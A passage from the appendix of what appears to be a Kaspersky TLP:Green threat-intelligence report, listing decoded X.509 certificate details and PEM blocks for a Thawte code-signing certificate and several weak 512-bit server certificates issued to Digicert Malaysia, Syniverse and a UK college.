eDJSEdtZFjZe38EUNkBqR3xMoTANBgkqhkiG9w0BAQQFAAOBgQB4Rf20ZOhQFgDw
NTnNq7bt7g1xOy5kjpJC9g0jKML44t/Q6pzq162BgPKuy5VwfeIvwCGa1wzSMJSm
CMr/M4AzKf32FPVJyK4d62tuv1jT8dVL8Tw6DQYcrCm+3prVd6c35idIW7C8rEhQ
ttsmqifbxfOPQ7mSRkis9JhgBavGCw==
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
26:7b:de:88:8b:c1:50:15:11:00:f2:54:d8:ca:ed:67
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=Thawte, Inc., CN=Thawte Code Signing CA G2
Validity
Not Before: Jul 19 00:00:00 2013 GMT
Not After : Jul 16 23:59:59 2014 GMT
Subject: C=CN, ST=Henan, L=Xuchang, O=Xuchang Hongguang
Technology Co.,Ltd., CN=Xuchang Hongguang Technology
Co.,Ltd.
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (2048 bit)
Modulus:
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
30
00:d0:5f:76:e6:03:cf:29:ad:17:01:b3:af:9e:3c:
4d:b3:45:5c:e7:4d:92:c4:2a:a1:5c:4f:20:c3:86:
49:09:72:4f:81:60:2f:95:1c:9d:65:b6:50:0e:72:
71:f9:9d:f6:8f:98:ec:5c:7b:ef:3e:a6:43:ed:35:
0e:44:81:e7:60:93:fc:13:d1:67:a7:3f:39:b6:c5:
4a:95:89:48:e0:f4:92:46:e2:d4:cf:de:66:b4:f0:
b9:73:35:2f:37:43:89:34:94:88:49:eb:93:84:24:
48:a5:0a:6f:d3:0b:8d:28:40:ca:09:0a:d2:ee:85:
18:60:bc:af:90:21:08:ff:7c:87:ab:30:cc:78:6f:
95:a6:19:80:cc:57:5b:fa:33:fd:68:33:5f:4c:8a:
73:b3:f3:82:c6:b8:51:c6:5e:d4:1f:59:c0:61:da:
b0:5a:e3:b6:62:f3:ac:42:13:a1:81:c3:1d:eb:a1:
76:a8:a8:83:dd:76:bd:af:15:71:47:55:b9:55:e5:
5b:a8:49:15:4e:6d:97:c9:9e:4b:81:47:14:35:ae:
09:dc:0d:39:2e:5c:41:da:65:fb:fe:89:c6:ca:02:
4b:1d:9f:51:f4:00:8a:43:8d:9b:ce:a1:5e:b9:23:
b5:3b:ee:9f:1f:01:30:5d:93:2a:a5:d6:4b:bd:4c:
1b:0f
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 CRL Distribution Points:
Full Name:
URI:http://csg2crl.
thawte.com/ThawteCSG2.crl
X509v3 Extended Key Usage:
Code Signing, Microsoft Commercial Code Signing
2.5.29.4:
0.0.0..
+.....7.......
Authority Information Access:
OCSP URI:
http://ocsp.thawte.com
Netscape Cert Type:
Object Signing
Signature Algorithm: sha1WithRSAEncryption
20:71:27:39:c1:af:ca:1b:47:0e:9b:81:44:5a:fe:e6:27:b1:
35:fa:c2:94:ac:ed:e2:1b:83:9a:d5:c8:92:06:a7:d3:6f:ef:
39:4a:31:87:3d:66:d8:e5:fb:f9:f2:47:77:9c:01:ee:56:9a:
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
31
72:32:0f:60:ce:94:3f:a6:9b:55:8c:97:3d:15:c9:97:4e:ba:
24:b8:cc:1d:46:ac:5e:27:c6:9e:e6:07:23:9d:31:36:d3:f4:
dc:88:71:33:c5:71:fd:8f:1e:05:22:c0:89:ca:96:75:9c:fa:
db:72:b2:ad:89:a9:4a:4b:82:ec:9e:70:87:ce:44:7f:79:08:
2e:ed:29:e8:35:0b:be:39:da:f6:3c:44:e9:c1:85:f3:bb:b2:
a8:1c:30:d4:ef:fc:ac:64:f4:8b:38:37:ed:3c:92:18:3d:1f:
68:7a:cd:2e:58:6d:e5:24:2e:27:4a:ea:0b:07:3a:e5:30:00:
7d:c1:3d:09:89:1e:ae:aa:fb:de:ed:59:6b:ed:32:88:3d:a5:
83:3f:40:fb:22:04:81:d3:de:92:ae:49:57:a7:16:4a:ce:29:
87:dc:c4:90:1b:d8:ac:6b:be:e5:15:c2:e4:af:cf:5a:bc:d5:
25:c0:52:26:f5:3c:50:21:9a:d7:11:69:6e:31:b4:64:f9:46:
86:a5:34:00
BEGIN CERTIFICATE
MIIEOjCCAyKgAwIBAgIQJnveiIvBUBURAPJU2MrtZzANBgkqhkiG9w0BAQUFADBK
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMVGhhd3RlLCBJbmMuMSQwIgYDVQQDExtU
aGF3dGUgQ29kZSBTaWduaW5nIENBIC0gRzIwHhcNMTMwNzE5MDAwMDAwWhcNMTQw
NzE2MjM1OTU5WjCBjzELMAkGA1UEBhMCQ04xDjAMBgNVBAgTBUhlbmFuMRAwDgYD
VQQHFAdYdWNoYW5nMS4wLAYDVQQKFCVYdWNoYW5nIEhvbmdndWFuZyBUZWNobm9s
b2d5IENvLixMdGQuMS4wLAYDVQQDFCVYdWNoYW5nIEhvbmdndWFuZyBUZWNobm9s
b2d5IENvLixMdGQuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0F92
5gPPKa0XAbOvnjxNs0Vc502SxCqhXE8gw4ZJCXJPgWAvlRydZbZQDnJx+Z32j5js
XHvvPqZD7TUORIHnYJP8E9Fnpz85tsVKlYlI4PSSRuLUz95mtPC5czUvN0OJNJSI
SeuThCRIpQpv0wuNKEDKCQrS7oUYYLyvkCEI/3yHqzDMeG+VphmAzFdb+jP9aDNf
TIpzs/OCxrhRxl7UH1nAYdqwWuO2YvOsQhOhgcMd66F2qKiD3Xa9rxVxR1W5VeVb
qEkVTm2XyZ5LgUcUNa4J3A05LlxB2mX7/onGygJLHZ9R9ACKQ42bzqFeuSO1O+6f
HwEwXZMqpdZLvUwbDwIDAQABo4HVMIHSMAwGA1UdEwEB/wQCMAAwOwYDVR0fBDQw
MjAwoC6gLIYqaHR0cDovL2NzLWcyLWNybC50aGF3dGUuY29tL1RoYXd0ZUNTRzIu
Y3JsMB8GA1UdJQQYMBYGCCsGAQUFBwMDBgorBgEEAYI3AgEWMB0GA1UdBAQWMBQw
DjAMBgorBgEEAYI3AgEWAwIHgDAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAGG
Fmh0dHA6Ly9vY3NwLnRoYXd0ZS5jb20wEQYJYIZIAYb4QgEBBAQDAgQQMA0GCSqG
SIb3DQEBBQUAA4IBAQAgcSc5wa/KG0cOm4FEWv7mJ7E1+sKUrO3iG4Oa1ciSBqfT
b+85SjGHPWbY5fv58kd3nAHuVppyMg9gzpQ/pptVjJc9FcmXTrokuMwdRqxeJ8ae
5gcjnTE20/TciHEzxXH9jx4FIsCJypZ1nPrbcrKtialKS4LsnnCHzkR/eQgu7Sno
NQu+Odr2PETpwYXzu7KoHDDU7/ysZPSLODftPJIYPR9oes0uWG3lJC4nSuoLBzrl
MAB9wT0JiR6uqvve7Vlr7TKIPaWDP0D7IgSB096SrklXpxZKzimH3MSQG9isa77l
FcLkr89avNUlwFIm9TxQIZrXEWluMbRk+UaGpTQA
END CERTIFICATE
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
32
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 2786200 (0x2a8398)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=MY, O=Digicert Sdn.
Bhd., OU=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Mar 29 03:40:07 2010 GMT
Not After : Mar 29 03:40:07 2012 GMT
Subject: C=MY, O=Digicert Sdn Bhd, OU=CA Operation,
CN=mcrs.digicert.com.my, L=KL, ST=WP
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:d1:e9:78:55:9c:79:70:eb:11:d3:d5:2f:c9:b0:
3a:1a:81:c9:cc:6a:ce:f7:5e:36:11:c3:9a:bd:e0:
06:95:6e:98:a3:7e:92:01:1d:ca:b2:9f:6c:a1:e1:
ea:50:18:09:a3:35:84:bc:df:9b:9c:60:b5:a4:18:
6c:0d:d9:10:35
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
40:D1:03:5E:67:7C:07:9D
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier:
keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C
5:74:6E:84:77
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: sha1WithRSAEncryption
12:13:d6:69:03:9a:dd:fc:0d:e9:7e:53:ef:79:e5:bd:47:c7:
46:a0:0b:d9:7f:52:a6:1e:65:4e:a2:b1:73:83:93:93:e2:d0:
bd:72:de:8e:fd:3f:ba:bb:66:c4:5d:98:2a:39:fa:8c:f0:84:
00:36:c5:05:dc:2b:6c:a9:1d:e0:90:20:84:0e:48:ff:83:bf:
51:87:e6:04:49:83:73:f0:0d:48:fb:c5:d8:ea:c2:ef:95:11:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
33
a3:81:9d:34:54:00:e6:93:3b:79:a2:ec:ed:1d:b7:e8:08:4a:
4e:f9:e7:0f:b2:c6:32:d0:84:de:b7:e6:a2:4f:1f:2a:58:c7:
b4:61
BEGIN CERTIFICATE
MIICmjCCAgOgAwIBAgIDKoOYMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z
MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L
MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMTAwMzI5
MDM0MDA3WhcNMTIwMzI5MDM0MDA3WjB4MQswCQYDVQQGEwJNWTEZMBcGA1UEChMQ
RGlnaWNlcnQgU2RuIEJoZDEVMBMGA1UECxMMQ0EgT3BlcmF0aW9uMR0wGwYDVQQD
ExRtY3JzLmRpZ2ljZXJ0LmNvbS5teTELMAkGA1UEBxMCS0wxCzAJBgNVBAgTAldQ
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANHpeFWceXDrEdPVL8mwOhqBycxqzvde
NhHDmr3gBpVumKN+kgEdyrKfbKHh6lAYCaM1hLzfm5xgtaQYbA3ZEDUCAwEAAaOB
ijCBhzARBgNVHQ4ECgQIQNEDXmd8B50wRAYDVR0gBD0wOzA5BgVgg0oBATAwMC4G
CCsGAQUFBwIBFiJodHRwOi8vd3d3LmRpZ2ljZXJ0LmNvbS5teS9jcHMuaHRtMB8G
A1UdIwQYMBaAFMYWk04WF+wWroyUdvOGbcV0boR3MAsGA1UdDwQEAwIE8DANBgkq
hkiG9w0BAQUFAAOBgQASE9ZpA5rd/A3pflPveeW9R8dGoAvZf1KmHmVOorFzg5OT
4tC9ct6O/T+6u2bEXZgqOfqM8IQANsUF3CtsqR3gkCCEDkj/g79Rh+YESYNz8A1I
+8XY6sLvlRGjgZ00VADmkzt5ouztHbfoCEpO+ecPssYy0ITet+aiTx8qWMe0YQ==
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1f:71:31:72:c9
Signature Algorithm: sha1WithRSAEncryption
Issuer: O=GlobalSign Inc, CN=Cybertrust SureServer CA
Validity
Not Before: Feb 13 19:00:51 2009 GMT
Not After : Feb 13 19:00:51 2011 GMT
Subject: CN=inpack.syniverse.com,
C=US/emailAddress=belinda.jablonski@syniverse.com,
L=Tampa, O=Syniverse Technologies Inc., OU=Crossroads,
ST=Florida
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9:
bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87:
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
34
ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a:
e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5:
40:7f:bb:e9:35
Exponent: 65537 (0x10001)
X509v3 extensions:
Netscape Cert Type:
SSL Client, SSL Server
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B
6:5B:84:89:23
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.globalsign.net/sureserver.crl
X509v3 Basic Constraints: critical
CA:FALSE
Signature Algorithm: sha1WithRSAEncryption
95:2a:42:59:bd:18:1a:ec:20:e9:96:0d:7f:f2:bc:4e:79:8a:
44:21:a4:d7:46:03:94:a8:ec:d0:28:29:07:d0:f5:bc:91:c5:
21:34:16:dd:87:ee:dc:6a:d4:e7:f4:d4:f9:a6:04:bb:60:53:
2b:14:19:8a:2c:2e:1f:6a:8f:97:22:d6:f4:e5:44:06:c2:22:
ee:cf:b2:19:67:fa:40:0f:9c:cf:58:7f:53:21:af:c0:02:ad:
d8:7c:19:3c:f3:52:f4:10:30:f0:61:24:a9:9d:18:01:a3:f5:
c9:29:ab:65:66:ef:a5:2d:cd:53:e2:44:09:ea:8d:4c:bc:ef:
1a:b6:2c:7b:df:16:39:94:8b:33:cb:14:16:c2:93:42:6c:4d:
18:99:ba:7b:fa:91:74:f0:9a:1e:ae:92:b4:94:43:bb:96:ba:
7e:6a:df:38:9c:2e:7c:11:37:37:4c:20:80:5d:6b:e2:94:41:
98:7d:cc:26:ca:cc:4f:81:4d:95:16:bb:26:db:1f:fe:03:fc:
a2:50:9c:49:0b:45:7c:86:fc:5c:a6:31:34:f2:08:f1:03:16:
10:e0:90:0c:e7:02:4e:95:f5:e8:32:03:a3:fb:78:17:dc:23:
bf:b4:59:e6:6f:91:1c:38:cd:b7:9e:48:a0:6b:68:98:00:e3:
33:48:18:ae
BEGIN CERTIFICATE
MIIDRDCCAiygAwIBAgILAQAAAAABH3ExcskwDQYJKoZIhvcNAQEFBQAwPDEXMBUG
A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl
cnZlciBDQTAeFw0wOTAyMTMxOTAwNTFaFw0xMTAyMTMxOTAwNTFaMIG5MR0wGwYD
VQQDExRpbnBhY2suc3luaXZlcnNlLmNvbTELMAkGA1UEBhMCVVMxLjAsBgkqhkiG
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
35
9w0BCQEWH2JlbGluZGEuamFibG9uc2tpQHN5bml2ZXJzZS5jb20xDjAMBgNVBAcT
BVRhbXBhMSQwIgYDVQQKExtTeW5pdmVyc2UgVGVjaG5vbG9naWVzIEluYy4xEzAR
BgNVBAsTCkNyb3Nzcm9hZHMxEDAOBgNVBAgTB0Zsb3JpZGEwXDANBgkqhkiG9w0B
AQEFAANLADBIAkEApRNTFwL3zTNkfegnj+m8q9uWO0ENtsQqENVkWIesYt4JLsVf
ecXVniabGprjmTviLkh+nF90yTQJs6VAf7vpNQIDAQABo4GQMIGNMBEGCWCGSAGG
+EIBAQQEAwIGwDAOBgNVHQ8BAf8EBAMCBPAwHwYDVR0jBBgwFoAUKzdTk2RHZiNP
ANP33egwtluEiSMwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5nbG9iYWxz
aWduLm5ldC9zdXJlc2VydmVyLmNybDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEB
BQUAA4IBAQCVKkJZvRga7CDplg1/8rxOeYpEIaTXRgOUqOzQKCkH0PW8kcUhNBbd
h+7catTn9NT5pgS7YFMrFBmKLC4fao+XItb05UQGwiLuz7IZZ/pAD5zPWH9TIa/A
Aq3YfBk881L0EDDwYSSpnRgBo/XJKatlZu+lLc1T4kQJ6o1MvO8atix73xY5lIsz
yxQWwpNCbE0Ymbp7+pF08JoerpK0lEO7lrp+at84nC58ETc3TCCAXWvilEGYfcwm
ysxPgU2VFrsm2x/+A/yiUJxJC0V8hvxcpjE08gjxAxYQ4JAM5wJOlfXoMgOj+3gX
3CO/tFnmb5EcOM23nkiga2iYAOMzSBiu
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1d:91:a4:6e:5b
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=BE, O=Cybertrust, OU=Educational CA,
CN=Cybertrust Educational CA
Validity
Not Before: Nov 12 16:59:48 2008 GMT
Not After : Nov 12 16:59:48 2011 GMT
Subject: C=GB, ST=Norfolk, L=Norwich, O=City College
Norwich, OU=I.T.
Services, CN=stfmail.ccn.ac.uk
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:c6:5c:e9:3d:a8:bc:74:31:fd:9b:20:34:30:cd:
dc:50:6a:58:9b:41:6a:1e:04:9f:75:c2:90:1f:d8:
a7:b3:3a:8f:5a:29:f8:2d:b6:91:b0:71:9a:ab:4c:
a1:f6:12:8d:9b:01:fa:27:cd:f4:ed:08:50:48:3a:
29:3b:16:94:4f
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Key Usage: critical
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
36
Digital Signature, Key Encipherment
X509v3 Authority Key Identifier:
keyid:65:65:A3:3D:D7:3B:11:A3:0A:07:25:37:C9:42:4A:5
B:76:77:50:E1
X509v3 Subject Key Identifier:
BE:7E:E3:53:BD:00:32:5E:3C:78:2B:02:B2:BF:52:A2:B1:
E5:F2:F8
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.globalsign.net/educational.crl
Authority Information Access:
CA Issuers URI:
http://secure.globalsign.net/cacert/educational.
crt
Netscape Cert Type:
SSL Client, SSL Server
Signature Algorithm: sha1WithRSAEncryption
71:99:aa:c9:92:26:ee:32:2d:c0:95:f8:16:47:b7:d9:eb:2e:
f1:93:d2:c3:3d:62:c1:9a:74:d2:2f:29:9c:08:a8:ca:52:6c:
42:c4:2b:a7:1c:96:17:af:3d:01:b5:b5:f1:70:d0:08:e1:fa:
63:e1:44:b2:61:66:3d:9c:5a:3f:3a:32:b0:47:31:3d:27:1d:
98:9c:d3:c3:c7:9f:73:55:8c:ff:d7:21:2d:76:d2:e7:df:8b:
9e:d3:ee:c5:5e:e7:6a:ba:7a:bb:7b:9e:38:00:54:ed:58:ee:
00:c1:45:8b:d4:63:25:be:22:98:a8:ef:f0:b3:f8:fb:15:32:
e8:ae:da:27:e4:60:46:d6:75:78:50:1d:57:4d:06:e9:8c:b8:
43:f5:9a:58:cf:a1:f4:c7:c7:ec:4a:b0:8a:95:c7:6c:3b:50:
0a:45:74:f1:d6:02:e0:78:a7:f1:f1:55:6e:20:92:55:37:be:
b6:57:76:37:ff:60:30:c3:9a:2c:0e:dd:d8:ef:2b:bf:1f:20:
9d:a5:21:93:94:9a:1e:58:74:b8:24:ce:a4:38:7b:1d:38:fd:
f2:9f:21:c0:49:d1:94:3e:38:7e:63:0c:0b:c3:98:ea:56:b2:
90:92:dc:75:0d:06:0b:35:9c:94:d6:e1:be:79:05:d1:27:b3:
87:23:14:0a
BEGIN CERTIFICATE
MIIDlTCCAn2gAwIBAgILAQAAAAABHZGkblswDQYJKoZIhvcNAQEFBQAwXzELMAkG
A1UEBhMCQkUxEzARBgNVBAoTCkN5YmVydHJ1c3QxFzAVBgNVBAsTDkVkdWNhdGlv
bmFsIENBMSIwIAYDVQQDExlDeWJlcnRydXN0IEVkdWNhdGlvbmFsIENBMB4XDTA4
MTExMjE2NTk0OFoXDTExMTExMjE2NTk0OFowgYQxCzAJBgNVBAYTAkdCMRAwDgYD
VQQIEwdOb3Jmb2xrMRAwDgYDVQQHEwdOb3J3aWNoMR0wGwYDVQQKExRDaXR5IENv
bGxlZ2UgTm9yd2ljaDEWMBQGA1UECxMNSS5ULiBTZXJ2aWNlczEaMBgGA1UEAxMR
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
37
c3RmbWFpbC5jY24uYWMudWswXDANBgkqhkiG9w0BAQEFAANLADBIAkEAxlzpPai8
dDH9myA0MM3cUGpYm0FqHgSfdcKQH9inszqPWin4LbaRsHGaq0yh9hKNmwH6J830
7QhQSDopOxaUTwIDAQABo4HzMIHwMA4GA1UdDwEB/wQEAwIFoDAfBgNVHSMEGDAW
gBRlZaM91zsRowoHJTfJQkpbdndQ4TAdBgNVHQ4EFgQUvn7jU70AMl48eCsCsr9S
orHl8vgwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nbG9iYWxzaWduLm5l
dC9lZHVjYXRpb25hbC5jcmwwTwYIKwYBBQUHAQEEQzBBMD8GCCsGAQUFBzAChjNo
dHRwOi8vc2VjdXJlLmdsb2JhbHNpZ24ubmV0L2NhY2VydC9lZHVjYXRpb25hbC5j
cnQwEQYJYIZIAYb4QgEBBAQDAgbAMA0GCSqGSIb3DQEBBQUAA4IBAQBxmarJkibu
Mi3AlfgWR7fZ6y7xk9LDPWLBmnTSLymcCKjKUmxCxCunHJYXrz0BtbXxcNAI4fpj
4USyYWY9nFo/OjKwRzE9Jx2YnNPDx59zVYz/1yEtdtLn34ue0+7FXudqunq7e544
AFTtWO4AwUWL1GMlviKYqO/ws/j7FTLorton5GBG1nV4UB1XTQbpjLhD9ZpYz6H0
x8fsSrCKlcdsO1AKRXTx1gLgeKfx8VVuIJJVN762V3Y3/2Aww5osDt3Y7yu/HyCd
pSGTlJoeWHS4JM6kOHsdOP3ynyHASdGUPjh+YwwLw5jqVrKQktx1DQYLNZyU1uG+
eQXRJ7OHIxQK
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1f:71:6f:21:66
Signature Algorithm: sha1WithRSAEncryption
Issuer: O=GlobalSign Inc, CN=Cybertrust SureServer CA
Validity
Not Before: Feb 13 19:59:00 2009 GMT
Not After : Feb 13 19:59:00 2011 GMT
Subject: CN=agreement.syniverse.com,
C=US/emailAddress=belinda.jablonski@syniverse.com,
L=Tampa, O=Syniverse Technologies Inc., OU=Crossroads,
ST=Florida
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9:
bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87:
ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a:
e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5:
40:7f:bb:e9:35
Exponent: 65537 (0x10001)
X509v3 extensions:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
38
Netscape Cert Type:
SSL Client, SSL Server
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B
6:5B:84:89:23
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.globalsign.net/sureserver.crl
X509v3 Basic Constraints: critical
CA:FALSE
Signature Algorithm: sha1WithRSAEncryption
60:dd:4f:65:17:a0:3d:47:d7:70:d7:96:17:41:1c:b0:89:38:
9c:7e:bd:74:21:90:60:b4:04:d0:8d:12:81:a2:d5:c1:89:92:
8a:5e:6a:ae:c9:df:0a:78:e9:70:7f:b9:9b:3e:08:ab:74:6b:
ab:99:cb:9b:f4:1e:61:53:7f:13:3f:5b:26:ea:57:11:fa:d7:
3b:90:8c:59:23:d4:73:66:9e:aa:47:72:04:9a:bf:d8:29:aa:
c1:4d:f3:32:e5:c3:26:8a:98:da:07:bf:b7:07:0e:1a:4e:a2:
13:51:c6:2c:11:7f:2c:40:c6:0f:a1:4d:51:6a:33:7b:9d:52:
9b:4b:f9:85:6a:13:44:81:2e:8f:a9:2d:ce:29:57:54:3b:d8:
1b:d8:20:5a:c1:46:16:93:3f:34:e3:4a:5a:e8:54:f2:9b:b6:
14:4a:10:9b:db:d4:33:7b:76:13:29:c9:f8:44:02:98:94:5d:
09:30:a0:a3:f0:94:1c:94:48:83:03:66:2c:40:92:b4:75:44:
35:f4:8d:be:21:51:47:86:cd:fb:67:55:6d:a6:17:df:79:3f:
31:31:63:97:fc:8d:1a:14:9c:7e:68:13:bc:1b:2b:54:c9:a7:
e3:05:8a:f7:43:0a:06:6d:07:e3:f3:34:1d:92:be:30:9d:95:
05:8c:35:ba
BEGIN CERTIFICATE
MIIDRzCCAi+gAwIBAgILAQAAAAABH3FvIWYwDQYJKoZIhvcNAQEFBQAwPDEXMBUG
A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl
cnZlciBDQTAeFw0wOTAyMTMxOTU5MDBaFw0xMTAyMTMxOTU5MDBaMIG8MSAwHgYD
VQQDExdhZ3JlZW1lbnQuc3luaXZlcnNlLmNvbTELMAkGA1UEBhMCVVMxLjAsBgkq
hkiG9w0BCQEWH2JlbGluZGEuamFibG9uc2tpQHN5bml2ZXJzZS5jb20xDjAMBgNV
BAcTBVRhbXBhMSQwIgYDVQQKExtTeW5pdmVyc2UgVGVjaG5vbG9naWVzIEluYy4x
EzARBgNVBAsTCkNyb3Nzcm9hZHMxEDAOBgNVBAgTB0Zsb3JpZGEwXDANBgkqhkiG
9w0BAQEFAANLADBIAkEApRNTFwL3zTNkfegnj+m8q9uWO0ENtsQqENVkWIesYt4J
LsVfecXVniabGprjmTviLkh+nF90yTQJs6VAf7vpNQIDAQABo4GQMIGNMBEGCWCG
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
39
SAGG+EIBAQQEAwIGwDAOBgNVHQ8BAf8EBAMCBPAwHwYDVR0jBBgwFoAUKzdTk2RH
ZiNPANP33egwtluEiSMwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5nbG9i
YWxzaWduLm5ldC9zdXJlc2VydmVyLmNybDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3
DQEBBQUAA4IBAQBg3U9lF6A9R9dw15YXQRywiTicfr10IZBgtATQjRKBotXBiZKK
Xmquyd8KeOlwf7mbPgirdGurmcub9B5hU38TP1sm6lcR+tc7kIxZI9RzZp6qR3IE
mr/YKarBTfMy5cMmipjaB7+3Bw4aTqITUcYsEX8sQMYPoU1RajN7nVKbS/mFahNE
gS6PqS3OKVdUO9gb2CBawUYWkz8040pa6FTym7YUShCb29Qze3YTKcn4RAKYlF0J
MKCj8JQclEiDA2YsQJK0dUQ19I2+IVFHhs37Z1VtphffeT8xMWOX/I0aFJx+aBO8
GytUyafjBYr3QwoGbQfj8zQdkr4wnZUFjDW6
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 2786749 (0x2a85bd)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=MY, O=Digicert Sdn.
Bhd., OU=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Mar 29 04:26:21 2010 GMT
Not After : Mar 29 04:26:21 2012 GMT
Subject: C=MY, O=Digicert Sdn.
Bhd., CN=mcrs2.digicert.
com.my, L=Kuala Lumpur
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:c2:f6:81:3d:67:9c:8a:93:22:6f:c1:cf:a9:85:
ec:d1:40:b6:79:ea:02:47:88:c2:bb:dd:59:97:49:
f5:59:a8:be:0d:10:17:79:9b:0b:ee:a5:4c:7a:db:
73:d8:26:49:76:2b:4f:fc:4e:aa:1d:e1:57:22:d5:
0b:cd:d5:da:69
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
42:C0:71:88:BF:7B:00:93
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
40
keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C
5:74:6E:84:77
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: sha1WithRSAEncryption
39:ec:d4:6b:f2:e7:d4:47:5e:59:6e:bf:83:59:7b:32:17:cb:
4e:37:e7:2d:5c:44:ea:68:08:94:e9:47:33:cb:e2:cc:ad:c7:
cc:28:f1:07:a7:9a:f6:f8:55:76:c4:31:72:98:e3:11:5b:aa:
d5:d6:ff:99:52:69:61:48:91:31:df:ff:d3:39:f0:d1:94:29:
55:5b:6e:d1:d7:2d:da:7c:ef:6e:a4:10:fd:b4:22:4b:9e:41:
85:f6:63:b6:e7:10:5c:88:1e:04:20:36:48:22:f5:ba:a4:8c:
24:d3:81:78:c1:c1:d3:c9:8c:ba:a5:62:e6:e3:a8:e8:e4:21:
d5:72
BEGIN CERTIFICATE
MIICgzCCAeygAwIBAgIDKoW9MA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z
MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L
MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMTAwMzI5
MDQyNjIxWhcNMTIwMzI5MDQyNjIxWjBhMQswCQYDVQQGEwJNWTEbMBkGA1UEChMS
RGlnaWNlcnQgU2RuLiBCaGQuMR4wHAYDVQQDExVtY3JzMi5kaWdpY2VydC5jb20u
bXkxFTATBgNVBAcTDEt1YWxhIEx1bXB1cjBcMA0GCSqGSIb3DQEBAQUAA0sAMEgC
